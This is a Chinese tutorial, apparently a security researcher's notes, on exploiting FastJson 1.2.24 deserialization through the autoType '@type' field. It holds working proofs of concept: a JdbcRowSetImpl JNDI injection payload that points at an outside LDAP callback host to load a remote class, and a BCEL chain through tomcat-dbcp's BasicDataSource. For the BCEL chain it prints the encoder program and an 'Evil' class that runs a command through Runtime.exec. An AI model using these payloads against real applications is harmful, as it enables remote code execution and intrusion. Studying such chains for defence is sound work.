与原生的 Java 反序列化的区别在于,FastJson 反序列化并未使用 readObject 方法,而是由 FastJson 自定一套反序列化的过程。通过在反序列化的过程中自动调用类属性的 setter 方法和 getter 方法,将JSON 字符串还原成对象,当这些自动调用的方法中存在可利用的潜在危险代码时,漏洞便产生了。
1.将字符串转换为json格式,通过key获取value:
class?jsonUser{
public?static?void?main(String[]?args)?{
//正常使用将字符串转换成json格式,提取相关数据
String?s?=?"{\"name\":\"小红\",\"age\":\"18\"}";
JSONObject?jsonobject?=?(JSONObject)?JSON.parse(s);
System.out.println(jsonobject.get("name"));
}}
小红
这么简单好用的一个功能为什么会出现漏洞?
2.将JSON还原成对象:
class?jsonUser{
public?static?void?main(String[]?args)?{
//正常使用将字符串转换成json格式,提取相关数据
String?s?=?"{\"name\":\"小红\",\"age\":\"18\"}";
JSONObject?jsonobject?=?(JSONObject)?JSON.parse(s);
System.out.println(jsonobject.get("name"));
}}
小红
class?User?{
private?String?id;
User()?{
System.out.println("User?go");
}
public?void?setId(String?ids)?{
System.out.println("setId?go");
this.id?=?ids;
}
public?String?getId()?{
System.out.println("GetId?go");
return?this.id;
}
}
public?class?Fastjson?{
public?static?void?main(String[]?args)?{
User?a?=?new?User();
String?json?=?JSON.toJSONString(a);?//序列化?转为json
//?System.out.println(json);
System.out.println(JSON.parseObject(json,User.class));?//反序列化?转为
原始数据
}
}
result:会自动调用 Get方法和构造方法。
public?class?Fastjson?{
public?static?void?main(String[]?args)?{
JSONObject?jsonObject?=
JSON.parseObject({\"@type\":\"Java_deserialization.User\",\"id\":\"123\"}");
System.out.println(jsonObject);
}
}
result:会自动调用Get,Set,构造方法。
这里fastjson提供了AutoType这种方式来指定需要还原的对象以及值 {"@type":"Java_deserialization.User","id":"123"},其中@type后面跟进的就是我们所需要还原的对象 (可控)后面跟进的id也就是这个类里面的属性,如果有一个fastjson反序列化点可控那么我们就可以随 意指定一个恶意类,如果这个恶意类里面的构造方法或者Get,Set方法调用了恶意的方法那么就会造成 反序列化漏洞。
细节就不调试了,感兴趣可以调试JavaBeanInfo.build() 里面的规则
● 只存在 getter 方法,无 setter 方法。
● 方法名称长度大于等于4。
● 非静态方法。
● 方法名以 get 开头,且第四个字符为大写字母,例如 getAge。
● 方法无须入参。
● 方法返回值继承自 Collection、Map、AtomicBoolean、AtomicInteger 和 AtomicLong 的其中一个。
Poc:
public?class?Fastjson?{
public?static?void?main(String[]?args)?{
System.out.println(JSON.parseObject("
{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","?+
"\"dataSourceName\":\"ldap://erh3yu.dnslog.cn\","?+
"\"autoCommit\":\"true\"}"));
}
}
根据之前的分析,可以知道攻击者指定了一个类 @type:com.sun.rowset.JdbcRowSetImpl,然后给类里面的属性进行了赋值(就跟之前的id一样的),那么赋值以后就会调用对应的set方法,也许危险代码 就在set方法里面:
1.调用set方法dataSourceName:
2.调用setAutoCommit方法:为什么是true?这里autoCommit是一个布尔值,你传false 或者0,1都可以。
会进入caonnect方法,危险方法就是这个connect:
3.connect方法:
熟悉Java的朋友就会知道这是一个Jndi注入点,其中里面的dataSourceName是可控的就是我们刚刚传 入的ldap协议,这里就不过多的阐述ldap协议了,后面会单独的去做笔记。ldap协议属于jndi里面的一 种可以远程动态加载其他服务器上面的资源,如果远程加载的对象可控那么我们就可以远程加载自己构 建的恶意类。
4.这里我们跟进lookup看看:
5.getURLOrDefaultInitCtx方法:
这里会对我们传入的uri进行判断,判断是什么协议比如ldap,rmi等远程加载数据的协议。
刚刚介绍的是fastjson利用jndi注入来远程加载恶意类的方法,如果机器在内网无法访问互联网那么这种方法就失败了,虽然TemplatesImpl利用链虽然原理上也是利用了 ClassLoader 动态加载恶意代码,但是需要开启?Feature.SupportNonPublicField?
,并且实际应用中其实不多见所以我们就介绍另外一种 攻击方法apache-BCEL,直接传入字节码不需要出网就可执行恶意代码但是需要引入tomcat的依赖,但 在实际攻击中还算是比较常见的。
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.20</version>
</dependency>
//?tomcat-bdcp在7还是8版本一下名称叫做dbcp,大家引入的时候注意一下
{
"@type":?"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader":?{
"@type":?"com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":?"$$BCEL$$$l$8b......"
}
这里需要说明一下driverClassName里面传入的其实是恶意类经过BCEL协议编码过后的代码,网上很多 的人都没有说明,也没有告诉大家如何生成,后面部分会为一步一步说。
import?com.sun.org.apache.bcel.internal.classfile.Utility;
import?org.springframework.util.FileCopyUtils;
import?com.sun.org.apache.bcel.internal.util.ClassLoader;
import?java.io.File;
import?java.io.FileInputStream;
import?java.io.InputStream;
public?class?fastjsonBcel?{
public?static?void?main(String[]?args)?throws?Exception?{
//不考虑fastjson情况就正常调用该类
ClassLoader?classLoader?=?new?ClassLoader();
byte[]?bytes?=?fileToBinArray(new?File("D:\\Evil.class"));
String?code?=?Utility.encode(bytes,true);
classLoader.loadClass("$$BCEL$$"+code).newInstance();
//将文件转为字节码数组
public?static?byte[]?fileToBinArray(File?file){
try?{
InputStream?fis?=?new?FileInputStream(file);
byte[]?bytes?=?FileCopyUtils.copyToByteArray(fis);
return?bytes;
}catch?(Exception?ex){
throw?new?RuntimeException("transform?file?into?bin?Array?出错",ex);
}
}
}
//恶意类
package?Java_deserialization;
import?java.lang.Runtime;
import?java.lang.Process;
public?class?Evil?{
static?{
try?{
Runtime?rt?=?Runtime.getRuntime();
String[]?commands?=?{"calc"};
Process?pc?=?rt.exec(commands);
pc.waitFor();
}?catch?(Exception?e)?{
//?do?nothing
}
}
}
//javac?Evil.java?转为.class,动态调用的是字节码
com.sun.org.apache.bcel.internal.util里面有一个classLoader类,ClassLoader类里面有一个
loadClass方法,如果满足方法里面的条件就可以动态调用恶意代码,其中恶意代码是通过BCEL格式传入
的。
代码很简单,创建一个对象然后调用loadClass方法,需要注意的是为什么我们需要做编码这一步:String code = Utility.encode(bytes,true);
我们在调用loadClass方法的时候会调用 creatClass方法,这里需要跟进去看看
可以看到在进入到 creatClass方法以后会对数据进行解码,所以在之前我们需要进行编码而且为了满足 条件需要加上“$$BCEL$$”相关的字符串才能绕过if判断。
成功执行命令,那么现在我们需要考虑的就是如何将这个恶意方法和fastjson结合起来。
结合tomcat-dbcp这个类进行组合达到触发fastjson的目的:
tomcat-dbcp里面有一个BasicDataSource类,在反序列化的时候会调用getConnection()方法:
getConnection()方法在返回的时候会调用createDataSource()方法:
createDataSource()方法又会调用createConnectionFactory()方法,
问题代码:
driverFromCCL?=?Class.forName(driverClassName,?true,?driverClassLoader);
正常BCEL的代码:
ClassLoader?classLoader?=?new?ClassLoader();
classLoader.loadClass("$$BCEL$$"+code).newInstance();
通过动态类加载调用我们的loadclass,如果Class.forName(driverClassName, true, driverClassLoader)中的driverClassName和driverClassLoader可控,那么我们就可以传入我们正常BCEL生成的 classLoader和BCEL绕过的代码,恰巧这里有对应的set方法,那么在fastjson反序列化中就会调用set方法来达到可控的目的:
public?class?fastjsonBcel?{
public?static?void?main(String[]?args)?throws?Exception?{
ClassLoader?classLoader?=?new?ClassLoader();
byte[]?bytes?=?fileToBinArray(new?File("D:\\Evil.class"));
String?code?=?Utility.encode(bytes,true);
BasicDataSource?basicDataSource?=?new?BasicDataSource();
basicDataSource.setDriverClassLoader(classLoader);
basicDataSource.setDriverClassName("$$BCEL$$"+code);
basicDataSource.getConnection();
}
换成正常POC测试:
public?class?fastjsonBcel?{
public?static?void?main(String[]?args)?throws?Exception?{
byte[]?bytes?=?fileToBinArray(new?File("D:\\Evil.class"));
String?code?=?Utility.encode(bytes,true);
String?s?=?"
{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":
\"$$BCEL$$"?+?code?+?"\",\"driverClassloader\":
{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSON.parseObject(s);
}